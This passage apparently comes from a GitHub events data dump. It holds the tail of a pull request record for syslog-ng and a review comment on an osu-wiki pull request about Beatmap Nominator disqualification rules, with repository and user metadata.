3Z","due_on":"2019-10-04T07:00:00Z","closed_at":null},"commits_url":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890/commits","review_comments_url":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890/comments","review_comment_url":"https://api.github.com/repos/balabit/syslog-ng/pulls/comments{/number}","comments_url":"https://api.github.com/repos/balabit/syslog-ng/issues/2890/comments","statuses_url":"https://api.github.com/repos/balabit/syslog-ng/statuses/4ca3b03d5593404a741d98a43305c14c67a770e6","head":{"label":"Kokan:format-flat-json","ref":"format-flat-json","sha":"4ca3b03d5593404a741d98a43305c14c67a770e6","user":{"login":"Kokan","id":207583,"node_id":"MDQ6VXNlcjIwNzU4Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/207583?v=4","gravatar_id":"","url":"https://api.github.com/users/Kokan","html_url":"https://github.com/Kokan","followers_url":"https://api.github.com/users/Kokan/followers","following_url":"https://api.github.com/users/Kokan/following{/other_user}","gists_url":"https://api.github.com/users/Kokan/gists{/gist_id}","starred_url":"https://api.github.com/users/Kokan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kokan/subscriptions","organizations_url":"https://api.github.com/users/Kokan/orgs","repos_url":"https://api.github.com/users/Kokan/repos","events_url":"https://api.github.com/users/Kokan/events{/privacy}","received_events_url":"https://api.github.com/users/Kokan/received_events","type":"User","site_admin":false},"repo":{"id":100604377,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2MDQzNzc=","name":"syslog-ng","full_name":"Kokan/syslog-ng","private":false,"owner":{"login":"Kokan","id":207583,"node_id":"MDQ6VXNlcjIwNzU4Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/207583?v=4","gravatar_id":"","url":"https://api.github.com/users/Kokan","html_url":"https://github.com/Kokan","followers_url":"https://api.github.com/users/Kokan/followers","following_url":"https://api.github.com/users/Kokan/following{/other_user}","gists_url":"https://api.github.com/users/Kokan/gists{/gist_id}","starred_url":"https://api.github.com/users/Kokan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kokan/subscriptions","organizations_url":"https://api.github.com/users/Kokan/orgs","repos_url":"https://api.github.com/users/Kokan/repos","events_url":"https://api.github.com/users/Kokan/events{/privacy}","received_events_url":"https://api.github.com/users/Kokan/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Kokan/syslog-ng","description":"syslog-ng is an enhanced log daemon, supporting a wide range of input and output methods: syslog, unstructured text, queueing, SQL & NoSQL.","fork":true,"url":"https://api.github.com/repos/Kokan/syslog-ng","forks_url":"https://api.github.com/repos/Kokan/syslog-ng/forks","keys_url":"https://api.github.com/repos/Kokan/syslog-ng/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Kokan/syslog-ng/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Kokan/syslog-ng/teams","hooks_url":"https://api.github.com/repos/Kokan/syslog-ng/hooks","issue_events_url":"https://api.github.com/repos/Kokan/syslog-ng/issues/events{/number}","events_url":"https://api.github.com/repos/Kokan/syslog-ng/events","assignees_url":"https://api.github.com/repos/Kokan/syslog-ng/assignees{/user}","branches_url":"https://api.github.com/repos/Kokan/syslog-ng/branches{/branch}","tags_url":"https://api.github.com/repos/Kokan/syslog-ng/tags","blobs_url":"https://api.github.com/repos/Kokan/syslog-ng/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Kokan/syslog-ng/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Kokan/syslog-ng/git/refs{/sha}","trees_url":"https://api.github.com/repos/Kokan/syslog-ng/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Kokan/syslog-ng/statuses/{sha}","languages_url":"https://api.github.com/repos/Kokan/syslog-ng/languages","stargazers_url":"https://api.github.com/repos/Kokan/syslog-ng/stargazers","contributors_url":"https://api.github.com/repos/Kokan/syslog-ng/contributors","subscribers_url":"https://api.github.com/repos/Kokan/syslog-ng/subscribers","subscription_url":"https://api.github.com/repos/Kokan/syslog-ng/subscription","commits_url":"https://api.github.com/repos/Kokan/syslog-ng/commits{/sha}","git_commits_url":"https://api.github.com/repos/Kokan/syslog-ng/git/commits{/sha}","comments_url":"https://api.github.com/repos/Kokan/syslog-ng/comments{/number}","issue_comment_url":"https://api.github.com/repos/Kokan/syslog-ng/issues/comments{/number}","contents_url":"https://api.github.com/repos/Kokan/syslog-ng/contents/{+path}","compare_url":"https://api.github.com/repos/Kokan/syslog-ng/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Kokan/syslog-ng/merges","archive_url":"https://api.github.com/repos/Kokan/syslog-ng/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Kokan/syslog-ng/downloads","issues_url":"https://api.github.com/repos/Kokan/syslog-ng/issues{/number}","pulls_url":"https://api.github.com/repos/Kokan/syslog-ng/pulls{/number}","milestones_url":"https://api.github.com/repos/Kokan/syslog-ng/milestones{/number}","notifications_url":"https://api.github.com/repos/Kokan/syslog-ng/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Kokan/syslog-ng/labels{/name}","releases_url":"https://api.github.com/repos/Kokan/syslog-ng/releases{/id}","deployments_url":"https://api.github.com/repos/Kokan/syslog-ng/deployments","created_at":"2017-08-17T13:05:54Z","updated_at":"2019-08-27T05:30:42Z","pushed_at":"2019-08-30T11:21:15Z","git_url":"git://github.com/Kokan/syslog-ng.git","ssh_url":"git@github.com:Kokan/syslog-ng.git","clone_url":"https://github.com/Kokan/syslog-ng.git","svn_url":"https://github.com/Kokan/syslog-ng","homepage":"http://www.syslog-ng.org/","size":26938,"stargazers_count":0,"watchers_count":0,"language":"C","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"balabit:master","ref":"master","sha":"0262678c440b60bbc7be66287743ea5263d37e51","user":{"login":"balabit","id":986981,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk4Njk4MQ==","avatar_url":"https://avatars0.githubusercontent.com/u/986981?v=4","gravatar_id":"","url":"https://api.github.com/users/balabit","html_url":"https://github.com/balabit","followers_url":"https://api.github.com/users/balabit/followers","following_url":"https://api.github.com/users/balabit/following{/other_user}","gists_url":"https://api.github.com/users/balabit/gists{/gist_id}","starred_url":"https://api.github.com/users/balabit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/balabit/subscriptions","organizations_url":"https://api.github.com/users/balabit/orgs","repos_url":"https://api.github.com/users/balabit/repos","events_url":"https://api.github.com/users/balabit/events{/privacy}","received_events_url":"https://api.github.com/users/balabit/received_events","type":"Organization","site_admin":false},"repo":{"id":14146757,"node_id":"MDEwOlJlcG9zaXRvcnkxNDE0Njc1Nw==","name":"syslog-ng","full_name":"balabit/syslog-ng","private":false,"owner":{"login":"balabit","id":986981,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk4Njk4MQ==","avatar_url":"https://avatars0.githubusercontent.com/u/986981?v=4","gravatar_id":"","url":"https://api.github.com/users/balabit","html_url":"https://github.com/balabit","followers_url":"https://api.github.com/users/balabit/followers","following_url":"https://api.github.com/users/balabit/following{/other_user}","gists_url":"https://api.github.com/users/balabit/gists{/gist_id}","starred_url":"https://api.github.com/users/balabit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/balabit/subscriptions","organizations_url":"https://api.github.com/users/balabit/orgs","repos_url":"https://api.github.com/users/balabit/repos","events_url":"https://api.github.com/users/balabit/events{/privacy}","received_events_url":"https://api.github.com/users/balabit/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/balabit/syslog-ng","description":"syslog-ng is an enhanced log daemon, supporting a wide range of input and output methods: syslog, unstructured text, queueing, SQL & NoSQL.","fork":false,"url":"https://api.github.com/repos/balabit/syslog-ng","forks_url":"https://api.github.com/repos/balabit/syslog-ng/forks","keys_url":"https://api.github.com/repos/balabit/syslog-ng/keys{/key_id}","collaborators_url":"https://api.github.com/repos/balabit/syslog-ng/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/balabit/syslog-ng/teams","hooks_url":"https://api.github.com/repos/balabit/syslog-ng/hooks","issue_events_url":"https://api.github.com/repos/balabit/syslog-ng/issues/events{/number}","events_url":"https://api.github.com/repos/balabit/syslog-ng/events","assignees_url":"https://api.github.com/repos/balabit/syslog-ng/assignees{/user}","branches_url":"https://api.github.com/repos/balabit/syslog-ng/branches{/branch}","tags_url":"https://api.github.com/repos/balabit/syslog-ng/tags","blobs_url":"https://api.github.com/repos/balabit/syslog-ng/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/balabit/syslog-ng/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/balabit/syslog-ng/git/refs{/sha}","trees_url":"https://api.github.com/repos/balabit/syslog-ng/git/trees{/sha}","statuses_url":"https://api.github.com/repos/balabit/syslog-ng/statuses/{sha}","languages_url":"https://api.github.com/repos/balabit/syslog-ng/languages","stargazers_url":"https://api.github.com/repos/balabit/syslog-ng/stargazers","contributors_url":"https://api.github.com/repos/balabit/syslog-ng/contributors","subscribers_url":"https://api.github.com/repos/balabit/syslog-ng/subscribers","subscription_url":"https://api.github.com/repos/balabit/syslog-ng/subscription","commits_url":"https://api.github.com/repos/balabit/syslog-ng/commits{/sha}","git_commits_url":"https://api.github.com/repos/balabit/syslog-ng/git/commits{/sha}","comments_url":"https://api.github.com/repos/balabit/syslog-ng/comments{/number}","issue_comment_url":"https://api.github.com/repos/balabit/syslog-ng/issues/comments{/number}","contents_url":"https://api.github.com/repos/balabit/syslog-ng/contents/{+path}","compare_url":"https://api.github.com/repos/balabit/syslog-ng/compare/{base}...{head}","merges_url":"https://api.github.com/repos/balabit/syslog-ng/merges","archive_url":"https://api.github.com/repos/balabit/syslog-ng/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/balabit/syslog-ng/downloads","issues_url":"https://api.github.com/repos/balabit/syslog-ng/issues{/number}","pulls_url":"https://api.github.com/repos/balabit/syslog-ng/pulls{/number}","milestones_url":"https://api.github.com/repos/balabit/syslog-ng/milestones{/number}","notifications_url":"https://api.github.com/repos/balabit/syslog-ng/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/balabit/syslog-ng/labels{/name}","releases_url":"https://api.github.com/repos/balabit/syslog-ng/releases{/id}","deployments_url":"https://api.github.com/repos/balabit/syslog-ng/deployments","created_at":"2013-11-05T16:22:02Z","updated_at":"2019-08-30T11:04:40Z","pushed_at":"2019-08-30T11:19:44Z","git_url":"git://github.com/balabit/syslog-ng.git","ssh_url":"git@github.com:balabit/syslog-ng.git","clone_url":"https://github.com/balabit/syslog-ng.git","svn_url":"https://github.com/balabit/syslog-ng","homepage":"https://www.syslog-ng.com","size":27548,"stargazers_count":1140,"watchers_count":1140,"language":"C","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":308,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":169,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":308,"open_issues":169,"watchers":1140,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890"},"html":{"href":"https://github.com/balabit/syslog-ng/pull/2890"},"issue":{"href":"https://api.github.com/repos/balabit/syslog-ng/issues/2890"},"comments":{"href":"https://api.github.com/repos/balabit/syslog-ng/issues/2890/comments"},"review_comments":{"href":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890/comments"},"review_comment":{"href":"https://api.github.com/repos/balabit/syslog-ng/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890/commits"},"statuses":{"href":"https://api.github.com/repos/balabit/syslog-ng/statuses/4ca3b03d5593404a741d98a43305c14c67a770e6"}},"author_association":"MEMBER"}}
|
{
"id": 14146757,
"name": "balabit/syslog-ng",
"url": "https://api.github.com/repos/balabit/syslog-ng"
}
|
{
"id": 5908786,
"login": "lbudai",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/5908786?",
"url": "https://api.github.com/users/lbudai"
}
|
{
"id": 986981,
"login": "balabit",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/986981?",
"url": "https://api.github.com/orgs/balabit"
}
| 2019-08-30T13:32:22 |
10317783573
|
{"actor":{"display_login":"lbudai"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ppy/osu-wiki/pulls/comments/281030068","pull_request_review_id":233788900,"id":281030068,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI4MTAzMDA2OA==","diff_hunk":"@@ -2,15 +2,15 @@\n \n The rules listed here affect what Beatmap Nominators can and cannot do when nominating beatmaps as well as set the tone for the general conduct expected from them.\n \n-These rules are the result of discussion within the [Quality Assurance Team](/wiki/People/Quality_Assurance_Team) and have taken into account feedback from the [Beatmap Nominators](/wiki/People/Beatmap_Nominators) upon their proposal.\n+These rules are the result of discussion within the [Nominator Administration Team](/wiki/People/Quality_Assurance_Team) and have taken into account feedback from the [Beatmap Nominators](/wiki/People/Beatmap_Nominators) upon their proposal.","path":"wiki/People/Beatmap_Nominators/Rules/en.md","position":5,"original_position":5,"commit_id":"40f533b5430d78fa77269a1b1b47b0cc775f5b08","original_commit_id":"40f533b5430d78fa77269a1b1b47b0cc775f5b08","user":{"login":"Loctav","id":6514950,"node_id":"MDQ6VXNlcjY1MTQ5NTA=","avatar_url":"https://avatars1.githubusercontent.com/u/6514950?v=4","gravatar_id":"","url":"https://api.github.com/users/Loctav","html_url":"https://github.com/Loctav","followers_url":"https://api.github.com/users/Loctav/followers","following_url":"https://api.github.com/users/Loctav/following{/other_user}","gists_url":"https://api.github.com/users/Loctav/gists{/gist_id}","starred_url":"https://api.github.com/users/Loctav/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Loctav/subscriptions","organizations_url":"https://api.github.com/users/Loctav/orgs","repos_url":"https://api.github.com/users/Loctav/repos","events_url":"https://api.github.com/users/Loctav/events{/privacy}","received_events_url":"https://api.github.com/users/Loctav/received_events","type":"User","site_admin":false},"body":"Change to Nomination Assessment Team","created_at":"2019-05-05T16:58:20Z","updated_at":"2019-05-05T16:58:56Z","html_url":"https://github.com/ppy/osu-wiki/pull/2160#discussion_r281030068","pull_request_url":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/ppy/osu-wiki/pulls/comments/281030068"},"html":{"href":"https://github.com/ppy/osu-wiki/pull/2160#discussion_r281030068"},"pull_request":{"href":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160"}}},"pull_request":{"url":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160","id":268108453,"node_id":"MDExOlB1bGxSZXF1ZXN0MjY4MTA4NDUz","html_url":"https://github.com/ppy/osu-wiki/pull/2160","diff_url":"https://github.com/ppy/osu-wiki/pull/2160.diff","patch_url":"https://github.com/ppy/osu-wiki/pull/2160.patch","issue_url":"https://api.github.com/repos/ppy/osu-wiki/issues/2160","number":2160,"state":"open","locked":false,"title":"BN Rules: Disqualifications","user":{"login":"TheMoMan","id":6444058,"node_id":"MDQ6VXNlcjY0NDQwNTg=","avatar_url":"https://avatars2.githubusercontent.com/u/6444058?v=4","gravatar_id":"","url":"https://api.github.com/users/TheMoMan","html_url":"https://github.com/TheMoMan","followers_url":"https://api.github.com/users/TheMoMan/followers","following_url":"https://api.github.com/users/TheMoMan/following{/other_user}","gists_url":"https://api.github.com/users/TheMoMan/gists{/gist_id}","starred_url":"https://api.github.com/users/TheMoMan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TheMoMan/subscriptions","organizations_url":"https://api.github.com/users/TheMoMan/orgs","repos_url":"https://api.github.com/users/TheMoMan/repos","events_url":"https://api.github.com/users/TheMoMan/events{/privacy}","received_events_url":"https://api.github.com/users/TheMoMan/received_events","type":"User","site_admin":false},"body":"As a result of [restructuring](https://osu.ppy.sh/community/forums/topics/862002?start=7005591) the QAT and BN, the Beatmap Nominators will be given access to the disqualification button. These additions to the rules will outline what is expected of a BN when disqualifying a beatmap. \r\n\r\nChanges should be applied immediately after BNs get the disqualify button.","created_at":"2019-04-07T13:54:39Z","updated_at":"2019-05-05T16:58:56Z","closed_at":null,"merged_at":null,"merge_commit_sha":"ca636d6ca0ec01c77a925366eac6a900d3e1cf86","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":788187871,"node_id":"MDU6TGFiZWw3ODgxODc4NzE=","url":"https://api.github.com/repos/ppy/osu-wiki/labels/update","name":"update","color":"b2ffca","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160/commits","review_comments_url":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160/comments","review_comment_url":"https://api.github.com/repos/ppy/osu-wiki/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ppy/osu-wiki/issues/2160/comments","statuses_url":"https://api.github.com/repos/ppy/osu-wiki/statuses/40f533b5430d78fa77269a1b1b47b0cc775f5b08","head":{"label":"TheMoMan:patch-1","ref":"patch-1","sha":"40f533b5430d78fa77269a1b1b47b0cc775f5b08","user":{"login":"TheMoMan","id":6444058,"node_id":"MDQ6VXNlcjY0NDQwNTg=","avatar_url":"https://avatars2.githubusercontent.com/u/6444058?v=4","gravatar_id":"","url":"https://api.github.com/users/TheMoMan","html_url":"https://github.com/TheMoMan","followers_url":"https://api.github.com/users/TheMoMan/followers","following_url":"https://api.github.com/users/TheMoMan/following{/other_user}","gists_url":"https://api.github.com/users/TheMoMan/gists{/gist_id}","starred_url":"https://api.github.com/users/TheMoMan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TheMoMan/subscriptions","organizations_url":"https://api.github.com/users/TheMoMan/orgs","repos_url":"https://api.github.com/users/TheMoMan/repos","events_url":"https://api.github.com/users/TheMoMan/events{/privacy}","received_events_url":"https://api.github.com/users/TheMoMan/received_events","type":"User","site_admin":false},"repo":{"id":179970254,"node_id":"MDEwOlJlcG9zaXRvcnkxNzk5NzAyNTQ=","name":"osu-wiki","full_name":"TheMoMan/osu-wiki","private":false,"owner":{"login":"TheMoMan","id":6444058,"node_id":"MDQ6VXNlcjY0NDQwNTg=","avatar_url":"https://avatars2.githubusercontent.com/u/6444058?v=4","gravatar_id":"","url":"https://api.github.com/users/TheMoMan","html_url":"https://github.com/TheMoMan","followers_url":"https://api.github.com/users/TheMoMan/followers","following_url":"https://api.github.com/users/TheMoMan/following{/other_user}","gists_url":"https://api.github.com/users/TheMoMan/gists{/gist_id}","starred_url":"https://api.github.com/users/TheMoMan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TheMoMan/subscriptions","organizations_url":"https://api.github.com/users/TheMoMan/orgs","repos_url":"https://api.github.com/users/TheMoMan/repos","events_url":"https://api.github.com/users/TheMoMan/events{/privacy}","received_events_url":"https://api.github.com/users/TheMoMan/received_events","type":"User","site_admin":false},"html_url":"https://github.com/TheMoMan/osu-wiki","description":"home of the osu! wiki","fork":true,"url":"https://api.github.com/repos/TheMoMan/osu-wiki","forks_url":"https://api.github.com/repos/TheMoMan/osu-wiki/forks","keys_url":"https://api.github.com/repos/TheMoMan/osu-wiki/keys{/key_id}","collaborators_url":"https://api.github.com/repos/TheMoMan/osu-wiki/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/TheMoMan/osu-wiki/teams","hooks_url":"https://api.github.com/repos/TheMoMan/osu-wiki/hooks","issue_events_url":"https://api.github.com/repos/TheMoMan/osu-wiki/issues/events{/number}","events_url":"https://api.github.com/repos/TheMoMan/osu-wiki/events","assignees_url":"https://api.github.com/repos/TheMoMan/osu-wiki/assignees{/user}","branches_url":"https://api.github.com/repos/TheMoMan/osu-wiki/branches{/branch}","tags_url":"https://api.github.com/repos/TheMoMan/osu-wiki/tags","blobs_url":"https://api.github.com/repos/TheMoMan/osu-wiki/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/TheMoMan/osu-wiki/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/TheMoMan/osu-wiki/git/refs{/sha}","trees_url":"https://api.github.com/repos/TheMoMan/osu-wiki/git/trees{/sha}","statuses_url":"https://api.github.com/repos/TheMoMan/osu-wiki/statuses/{sha}","languages_url":"https://api.github.com/repos/TheMoMan/osu-wiki/languages","stargazers_url":"https://api.github.com/repos/TheMoMan/osu-wiki/stargazers","contributors_url":"https://api.github.com/repos/TheMoMan/osu-wiki/contributors","subscribers_url":"https://api.github.com/repos/TheMoMan/osu-wiki/subscribers","subscription_url":"https://api.github.com/repos/TheMoMan/osu-wiki/subscription","commits_url":"https://api.github.com/repos/TheMoMan/osu-wiki/commits{/sha}","git_commits_url":"https://api.github.com/repos/TheMoMan/osu-wiki/git/commits{/sha}","comments_url":"https://api.github.com/repos/TheMoMan/osu-wiki/comments{/number}","issue_comment_url":"https://api.github.com/repos/TheMoMan/osu-wiki/issues/comments{/number}","contents_url":"https://api.github.com/repos/TheMoMan/osu-wiki/contents/{+path}","compare_url":"https://api.github.com/repos/TheMoMan/osu-wiki/compare/{base}...{head}","merges_url":"https://api.github.com/repos/TheMoMan/osu-wiki/merges","archive_url":"https://api.github.com/repos/TheMoMan/osu-wiki/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/TheMoMan/osu-wiki/downloads","issues_url":"https://api.github.com/repos/TheMoMan/osu-wiki/issues{/number}","pulls_url":"https://api.github.com/repos/TheMoMan/osu-wiki/pulls{/number}","milestones_url":"https://api.github.com/repos/TheMoMan/osu-wiki/milestones{/number}","notifications_url":"https://api.github.com/repos/TheMoMan/osu-wiki/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/TheMoMan/osu-wiki/labels{/name}","releases_url":"https://api.github.com/repos/TheMoMan/osu-wiki/releases{/id}","deployments_url":"https://api.github.com/repos/TheMoMan/osu-wiki/deployments","created_at":"2019-04-07T13:29:35Z","updated_at":"2019-05-05T13:09:58Z","pushed_at":"2019-05-05T13:09:57Z","git_url":"git://github.com/TheMoMan/osu-wiki.git","ssh_url":"git@github.com:TheMoMan/osu-wiki.git","clone_url":"https://github.com/TheMoMan/osu-wiki.git","svn_url":"https://github.com/TheMoMan/osu-wiki","homepage":"https://osu.ppy.sh/help/wiki/","size":709820,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"ppy:master","ref":"master","sha":"4d8163fe307bb4f97a1c646c3e4cfba935bf5bba","user":{"login":"ppy","id":995763,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5NTc2Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/995763?v=4","gravatar_id":"","url":"https://api.github.com/users/ppy","html_url":"https://github.com/ppy","followers_url":"https://api.github.com/users/ppy/followers","following_url":"https://api.github.com/users/ppy/following{/other_user}","gists_url":"https://api.github.com/users/ppy/gists{/gist_id}","starred_url":"https://api.github.com/users/ppy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ppy/subscriptions","organizations_url":"https://api.github.com/users/ppy/orgs","repos_url":"https://api.github.com/users/ppy/repos","events_url":"https://api.github.com/users/ppy/events{/privacy}","received_events_url":"https://api.github.com/users/ppy/received_events","type":"Organization","site_admin":false},"repo":{"id":66639319,"node_id":"MDEwOlJlcG9zaXRvcnk2NjYzOTMxOQ==","name":"osu-wiki","full_name":"ppy/osu-wiki","private":false,"owner":{"login":"ppy","id":995763,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5NTc2Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/995763?v=4","gravatar_id":"","url":"https://api.github.com/users/ppy","html_url":"https://github.com/ppy","followers_url":"https://api.github.com/users/ppy/followers","following_url":"https://api.github.com/users/ppy/following{/other_user}","gists_url":"https://api.github.com/users/ppy/gists{/gist_id}","starred_url":"https://api.github.com/users/ppy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ppy/subscriptions","organizations_url":"https://api.github.com/users/ppy/orgs","repos_url":"https://api.github.com/users/ppy/repos","events_url":"https://api.github.com/users/ppy/events{/privacy}","received_events_url":"https://api.github.com/users/ppy/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ppy/osu-wiki","description":"home of the osu! wiki","fork":false,"url":"https://api.github.com/repos/ppy/osu-wiki","forks_url":"https://api.github.com/repos/ppy/osu-wiki/forks","keys_url":"https://api.github.com/repos/ppy/osu-wiki/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ppy/osu-wiki/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ppy/osu-wiki/teams","hooks_url":"https://api.github.com/repos/ppy/osu-wiki/hooks","issue_events_url":"https://api.github.com/repos/ppy/osu-wiki/issues/events{/number}","events_url":"https://api.github.com/repos/ppy/osu-wiki/events","assignees_url":"https://api.github.com/repos/ppy/osu-wiki/assignees{/user}","branches_url":"https://api.github.com/repos/ppy/osu-wiki/branches{/branch}","tags_url":"https://api.github.com/repos/ppy/osu-wiki/tags","blobs_url":"https://api.github.com/repos/ppy/osu-wiki/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ppy/osu-wiki/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ppy/osu-wiki/git/refs{/sha}","trees_url":"https://api.github.com/repos/ppy/osu-wiki/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ppy/osu-wiki/statuses/{sha}","languages_url":"https://api.github.com/repos/ppy/osu-wiki/languages","stargazers_url":"https://api.github.com/repos/ppy/osu-wiki/stargazers","contributors_url":"https://api.github.com/repos/ppy/osu-wiki/contributors","subscribers_url":"https://api.github.com/repos/ppy/osu-wiki/subscribers","subscription_url":"https://api.github.com/repos/ppy/osu-wiki/subscription","commits_url":"https://api.github.com/repos/ppy/osu-wiki/commits{/sha}","git_commits_url":"https://api.github.com/repos/ppy/osu-wiki/git/commits{/sha}","comments_url":"https://api.github.com/repos/ppy/osu-wiki/comments{/number}","issue_comment_url":"https://api.github.com/repos/ppy/osu-wiki/issues/comments{/number}","contents_url":"https://api.github.com/repos/ppy/osu-wiki/contents/{+path}","compare_url":"https://api.github.com/repos/ppy/osu-wiki/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ppy/osu-wiki/merges","archive_url":"https://api.github.com/repos/ppy/osu-wiki/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ppy/osu-wiki/downloads","issues_url":"https://api.github.com/repos/ppy/osu-wiki/issues{/number}","pulls_url":"https://api.github.com/repos/ppy/osu-wiki/pulls{/number}","milestones_url":"https://api.github.com/repos/ppy/osu-wiki/milestones{/number}","notifications_url":"https://api.github.com/repos/ppy/osu-wiki/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ppy/osu-wiki/labels{/name}","releases_url":"https://api.github.com/repos/ppy/osu-wiki/releases{/id}","deployments_url":"https://api.github.com/repos/ppy/osu-wiki/deployments","created_at":"2016-08-26T10:27:36Z","updated_at":"2019-05-04T18:48:52Z","pushed_at":"2019-05-05T13:09:58Z","git_url":"git://github.com/ppy/osu-wiki.git","ssh_url":"git@github.com:ppy/osu-wiki.git","clone_url":"https://github.com/ppy/osu-wiki.git","svn_url":"https://github.com/ppy/osu-wiki","homepage":"https://osu.ppy.sh/help/wiki/","size":719301,"stargazers_count":135,"watchers_count":135,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":370,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":95,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":370,"open_issues":95,"watchers":135,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160"},"html":{"href":"https://github.com/ppy/osu-wiki/pull/2160"},"issue":{"href":"https://api.github.com/repos/ppy/osu-wiki/issues/2160"},"comments":{"href":"https://api.github.com/repos/ppy/osu-wiki/issues/2160/comments"},"review_comments":{"href":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160/comments"},"review_comment":{"href":"https://api.github.com/repos/ppy/osu-wiki/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ppy/osu-wiki/pulls/2160/commits"},"statuses":{"href":"https://api.github.com/repos/ppy/osu-wiki/statuses/40f533b5430d78fa77269a1b1b47b0cc775f5b08"}},"author_association":"NONE"}}
|
{
"id": 66639319,
"name": "ppy/osu-wiki",
"url": "https://api.github.com/repos/ppy/osu-wiki"
}
|
{
"id": 6514950,
"login": "Loctav",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/6514950?",
"url": "https://api.github.com/users/Loctav"
}
|
{
"id": 995763,
"login": "ppy",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/995763?",
"url": "https://api.github.com/orgs/ppy"
}
| 2019-05-05T16:58:20 |
9566047807
|
{"actor":{"display_login":"Loctav"}}
|
PullRequestReviewCommentEvent
| true |
